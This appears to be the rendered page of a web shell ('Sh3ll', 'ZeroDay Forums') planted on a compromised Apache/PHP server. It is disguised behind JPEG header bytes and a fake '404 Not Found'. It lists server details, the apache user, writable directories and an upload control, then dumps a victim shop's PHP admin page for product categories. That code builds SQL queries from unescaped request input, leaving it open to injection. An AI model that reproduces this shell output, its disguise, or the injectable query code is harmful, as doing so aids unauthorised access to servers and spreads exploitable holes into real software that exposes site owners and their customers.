����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/oladi/code/admin/category/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/oladi/code/admin/category/index.php
<?php
global $DB,$func;
function category_selected($id,$parentid,$aCats,$res,$sep){
    foreach($aCats as $val){
        if($val['category_parentid']==$parentid){
            if($id==$val['category_id']){
                $re = '<option value="'.$val['category_id'].'" selected> + '.$sep.' '.$val['category_name'].' ('.$val['category_pos'].')</option>';
            }else{
                $re = '<option value="'.$val['category_id'].'"> + '.$sep.' '.$val['category_name'].' ('.$val['category_pos'].')</option>';
            }
            $res .= category_selected($id,$val['category_id'],$aCats,$re,$sep.' + ');
        }
    }
    return $res;
}
function tree_menu($parentid,$arr,$sep){
    if(!is_null($arr)) {
        foreach ($arr as $key => $v) {
            if ($v['category_parentid'] == $parentid) {
                $arr[$key]['category_name'] = $sep . ' ' . $arr[$key]['category_name'];
                $arr = tree_menu($v['category_id'], $arr, $sep . " + ");
            }
        }
    }
    return $arr;
}
$CORE->page_title = 'Danh mục sản phẩm';
$type = isset($CORE->input['type']) ? $CORE->input['type'] : '';
switch ($type){
    case 'delete':
        global $INFO;
        $category_id = $CORE->input['category_id'];
        if($category_id==1){
            $print->refresh('?act=admin&code=category','Some pages used this menu, can not delete',2);
        }
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_category_pages WHERE category_id='$category_id'"));
        if($row_check){
            $print->refresh('?act=admin&code=category','Some pages used this menu, can not delete',2);
        }else{
            $DB->query("DELETE FROM tb_category WHERE category_parentid='".$category_id."' ");
            $DB->query("DELETE FROM tb_category WHERE category_id='".$category_id."' ");
            $print->refresh('?act=admin&code=category');
        }
        break;
    case 'post' :
        $category_id = isset($CORE->input['category_id']) ? intval($CORE->input['category_id']) : 0;
        $row_check = $DB->get_colum_tb('tb_category');
        if($category_id>0) {
            $row_check = $DB->fetch_row($DB->query("SELECT * FROM `tb_category` WHERE `category_id` = '$category_id' "));
        }
        $aCats = array();
        $op_menu = '';
        $query_menu = $DB->query("SELECT * FROM tb_category ");
        while($rows_menu = $DB->fetch_row($query_menu))
        {
            $aCats[] = $rows_menu;
        }
        if($row_check['category_parentid']==0){
            $op_menu = category_selected($row_check['category_id'],0,$aCats,'<option value="0"> Choose a module category</option>','');
        }else {
            $op_menu = category_selected($row_check['category_parentid'], 0, $aCats, '<option value="0"> Choose a module category</option>', '');
        }
        $html_block = 'post';
        if(isset($CORE->input['submitbt'])){
            $f = $CORE->input['f'];
            if(isset($f['category_type'])){
                $f['category_type']= trim($f['category_type']);

            }else{
                $f['category_type']='normal';
                $f['category_url'] = '';
            }
            if($f['category_name']!='') {
                $fname = $func->format_string($f['category_name']);
                if(intval($f['category_id'])>0){
                    $row_check_total = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_category WHERE category_fname='".$fname."' AND category_id!='".intval($f['category_id'])."' "));
                    if($row_check_total['total']>0){
                        $fname = $fname.'-'.($row_check_total['total']+1);
                    }
                    $DB->query("UPDATE tb_category SET category_name='".$f['category_name']."' ,category_fname='".$fname."',category_des='".trim($f['category_des'])."', category_icon='" . $f['category_icon'] . "',category_parentid='" . $f['category_parentid'] . "',category_pos='" . $f['category_pos'] . "',category_type='".$f['category_type']."' WHERE category_id='".intval($f['category_id'])."'");
                    $v_category_id = intval($f['category_id']);
                }else {
                    $row_check_total = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_category WHERE category_fname='".$fname."'  "));
                    if($row_check_total['total']>0){
                        $fname = $fname.'-'.($row_check_total['total']+1);
                    }
                    $arr_insert = array('category_parentid'=>$f['category_parentid'],'category_name'=>$f['category_name'],'category_fname'=>$fname,'category_des'=>$f['category_des'],'category_icon'=>$f['category_icon'],'category_pos'=>$f['category_pos'],'category_type'=>$f['category_type']);
                    $v_category_id = $DB->do_insert('tb_category',$arr_insert);
                }
                //upload logo
                if($_FILES['image_field']){
                    include ROOT_PATH.'lib/class.upload.php';
                    $handle = new upload($_FILES['image_field']);
                    if ($handle->uploaded) {
                        $v_image_name = $v_category_id.'_'.time();
                        $handle->allowed = array('image/*');
                        $handle->file_new_name_body  = $v_image_name;
                        $handle->file_max_size = '1000000';
                        $handle->image_convert = 'png';
                        $folder = 'upload/category/'.date('Y').'/'.date('m');
                        if(!is_dir($folder)){
                            mkdir($folder,0755,true);
                        }
                        $v_image_folder = $folder.'/'.$v_image_name.'.png';
                        $handle->process(ROOT_PATH.$folder.'/');
                        if ($handle->processed) {
                            if($row_check['category_img']!='') {
                                unlink($row_check['category_img']);
                            }
                            $DB->query("UPDATE tb_category SET category_img='".$v_image_folder."' WHERE category_id='$v_category_id' ");
                            $handle->clean();
                        } else {
                            echo 'Upload Error : ' . $handle->error;
                            exit();
                        }
                    }
                }

                $print->refresh('?act=admin&code=category');
            }
        }
        break;
    default:
        $keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : '';
        $where = "WHERE category_name<>''";
        if($keyword!='')
        {
            $where .=  " AND (category_name LIKE '%".$keyword."%' or category_fname LIKE '%".$keyword."%') ";
        }
        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
        $pageSize = 50;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_category ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM tb_category ".$where." ORDER BY `category_pos` ASC LIMIT $from, $pageSize");
        $arr = array();
        while($row = $DB->fetch_row($query))
        {
            $arr[] = $row;
        }
        $list_company = tree_menu(0,$arr,'+');
        $nav = $print->Pagination($totalPage,$pageNum,'menu','index.php?act=admin&code=category&fkeyword='.$keyword);
        $txt_list_company = '';
        foreach($list_company as $val){
            if($val['category_img']!='' and file_exists($val['category_img'])){
                $txt_img = '<img src="'.$val['category_img'].'" style="width: 20px;">';
            }else{
                $txt_img = '';
            }
            $txt_list_company .= '<tr>
                                    <td><input name="txt_pos['.$val['category_id'].'][]" class="form-control" type="text" value="'.$val['category_pos'].'" style="width:100px;"></td>
                                    <td>'.$val['category_name'].'</td>
                                    <td>'.$val['category_fname'].'</td>
                                    <td>'.$txt_img.'</td>
                                    <td>'.html_entity_decode($val['category_icon']).'</td>
                                    <td>
                                        <a href="?act=admin&code=category&type=post&category_id='.$val['category_id'].'" class="btn btn-sm btn-icon btn-pure btn-outline delete-row-btn"><i class="far fa-edit"></i> Edit</a>
                                        <a href="?act=admin&code=category&type=delete&category_id='.$val['category_id'].'" class="btn btn-sm btn-icon btn-pure btn-outline delete-row-btn" onclick="return confirm(\'Are you sure want to delete?\');"><i class="far fa-trash-alt"></i> Del</a>
                                    </td>
                                </tr>';
        }
        $html_block = 'list';
        $type2 = isset($CORE->input['type2']) ? $CORE->input['type2'] : '';
        if($type2=='update_pos'){
            if(isset($CORE->input['txt_pos'])) {
                $pos = $CORE->input['txt_pos'];
                foreach ($pos as $key=>$val){
                    $DB->query("UPDATE tb_category SET category_pos = '".$val[0]."' WHERE category_id='$key' ");
                }
                unset($pos);
            }
            $print->refresh('index.php?act=admin&code=category');
        }
        break;
}

?>
<?php
include ROOT_PATH . 'include/block/header_admin.php';
?>
    <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <div class="content-header">
            <div class="container-fluid">
                <div class="row mb-2">
                    <div class="col-sm-6">
                        <h1 class="m-0">Quản lý danh mục sản phẩm</h1>
                    </div><!-- /.col -->
                    <div class="col-sm-6">
                        <ol class="breadcrumb float-sm-right">
                            <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                            <li class="breadcrumb-item"><a href="?act=admin&code=category"><?php echo $CORE->page_title;?></a></li>
                            <li class="breadcrumb-item active" aria-current="page"><span>Quản lý danh mục sản phẩm</span></li>
                        </ol>
                    </div><!-- /.col -->
                </div><!-- /.row -->
            </div><!-- /.container-fluid -->
        </div>
        <!-- /.content-header -->
        <!-- Main content -->
        <section class="content">
            <div class="container-fluid">
                <!-- Small boxes (Stat box) -->
                <div class="row">
                    <div class="col-12">
                        <?php
                        if($html_block=='delete'){
                            ?>
                            <form action="?act=admin&code=category&type=delete" method="post">
                                <input type="hidden" value="<?php echo $category_id;?>" name="category_id">
                                <div class="card">
                                    <div class="card-body">
                                        <h4 class="card-title">Some data will be lost when you delete this record:</h4>
                                        <h6 class="card-subtitle">About <?php echo $i;?> result</h6>
                                        <ul class="search-listing">
                                            <?php echo $txt_list_table_delete;?>
                                        </ul>
                                    </div>
                                    <div class="form-actions">
                                        <button type="submit" class="btn btn-success" name="submitbt_delete"> Agree delete</button>
                                        <button type="button" class="btn btn-inverse" onclick="location.href='?act=admin&code=category'">Cancel</button>
                                    </div>
                                </div>
                            </form>
                        <?php } ?>
                        <?php
                        if($html_block=='post'){
                            ?>
                            <div class="card card-outline-info">
                                <div class="card-header">
                                    <h4 class="m-b-0">Add new menu</h4>
                                </div>
                                <div class="card-body">
                                    <form action="?act=admin&code=category&type=post" method="post" enctype="multipart/form-data">
                                        <input type="hidden" value="<?php echo $row_check['category_id'];?>" name="f[category_id]">
                                        <div class="form-body">
                                            <div class="row p-t-20">
                                                <div class="col-md-4">
                                                    <div class="form-group">
                                                        <label class="control-label">Tên danh mục</label>
                                                        <input type="text" class="form-control" placeholder="" name="f[category_name]" value="<?php echo $row_check['category_name'];?>" required>
                                                    </div>
                                                </div>

                                                <div class="col-md-4">
                                                    <div class="form-group">
                                                        <label class="control-label">Icon fontawesome.com</label>
                                                        <input type="text" class="form-control" name="f[category_icon]" value="<?php echo $row_check['category_icon'];?>">
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row">
                                                <div class="col-md-12">
                                                    <div class="form-group">
                                                        <label class="control-label">Danh mục con</label>
                                                        <select class="form-control custom-select" data-placeholder="Choose a menu" name="f[category_parentid]">
                                                            <?php echo $op_menu; unset($op_menu);?>
                                                        </select>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row">

                                                <div class="col-md-4">
                                                    <div class="form-group">
                                                        <label class="control-label">Vị trí:</label>
                                                        <input type="text" class="form-control" placeholder="" name="f[category_pos]" value="<?php echo $row_check['category_pos'];?>" required>
                                                    </div>
                                                </div>
                                                <div class="col-md-4">
                                                    <div class="form-group">
                                                        <label>Ảnh danh mục root (848x132)</label>
                                                        <input type="file" name="image_field">
                                                    </div>
                                                </div>
                                                <div class="col-md-4">
                                                    <div class="form-group">
                                                        <?php
                                                        if($row_check['category_img']!='' and
                                                            file_exists($row_check['category_img'])
                                                        ){ ?>
                                                            <img src="<?php echo $row_check['category_img'];?>" style="width:100px;">
                                                        <?php } ?>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row">
                                                <div class="col-md-12">
                                                    <div class="form-group">
                                                        <label>Mô tả danh mục</label>
                                                        <textarea name="f[category_des]" class="form-control"><?php echo $row_check['category_des'];?></textarea>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="form-actions">
                                            <button type="submit" class="btn btn-success" name="submitbt"> <i class="fa fa-check"></i> Save</button>
                                            <button type="button" class="btn btn-inverse" onclick="location.href='index.php?act=admin&code=category'">Cancel</button>
                                        </div>
                                    </form>
                                </div>
                            </div>
                        <?php } ?>
                        <?php
                        if($html_block=='list'){
                            ?>
                            <div class="card">
                                <div class="card-body">
                                    <div class="m-t-40">
                                        <div class="d-flex">
                                            <div class="mr-auto">
                                                <div class="form-group">
                                                    <a href="?act=admin&code=category&type=post" class="btn btn-primary btn-sm"><i class="fa fa-plus"></i> Add new
                                                    </a>
                                                    <a href="javascript:void(0);" class="btn btn-primary btn-sm" id="update_pos"><i class="fa fa-bars"></i> Update position
                                                    </a>
                                                </div>
                                            </div>
                                            <div class="ml-auto">
                                                <div class="form-group">
                                                    <input id="demo-input-search2" type="text" placeholder="Search" autocomplete="off" class="module_title_search" value="<?php echo $keyword;?>">
                                                    <input type="hidden" value="a=WALLS2&act=category" id="txt_code_search">
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <form action="" method="post" id="form_quick_update">
                                        <input type="hidden" name="type2" value="">
                                        <table class="table table-bordered color-table primary-table footable">
                                            <thead>
                                            <tr>
                                                <th><?php echo $lang['vi-tri'];?></th>
                                                <th>Name</th>
                                                <th>Slug</th>
                                                <th>Image</th>
                                                <th>Icon</th>
                                                <th>#</th>
                                            </tr>
                                            </thead>
                                            <tbody>
                                            <?php echo $txt_list_company;?>
                                            </tbody>
                                        </table>
                                    </form>
                                    <div class="text-center footable">
                                        <ul class="pagination">
                                            <?php echo $nav;?>
                                        </ul>
                                    </div>
                                </div>
                            </div>
                        <?php } ?>

                    </div>
                </div>
            </div>
        </section>
    </div>
    <script>
        $("#check_menu_url").change(function () {
            if($(this).is(':checked')) {
                $("#menu_url").show();
                $("input[name='f[category_url]']").prop('required',true);
                $("#check_menu_page").prop('checked',false);
            }else{
                $("#menu_url").hide();
                $("input[name='f[category_url]']").prop('required',false);
            }
        });
        $('#check_menu_page').change(function () {
            if($(this).is(':checked')) {
                $("#check_menu_url").prop('checked',false);
                $("#menu_url").hide();
                $("input[name='f[category_url]']").prop('required',false);
            }else{
                $("#menu_url").show();
            }
        });
    </script>
<?php
include 'include/block/footer_admin.php';
?>

ZeroDay Forums Mini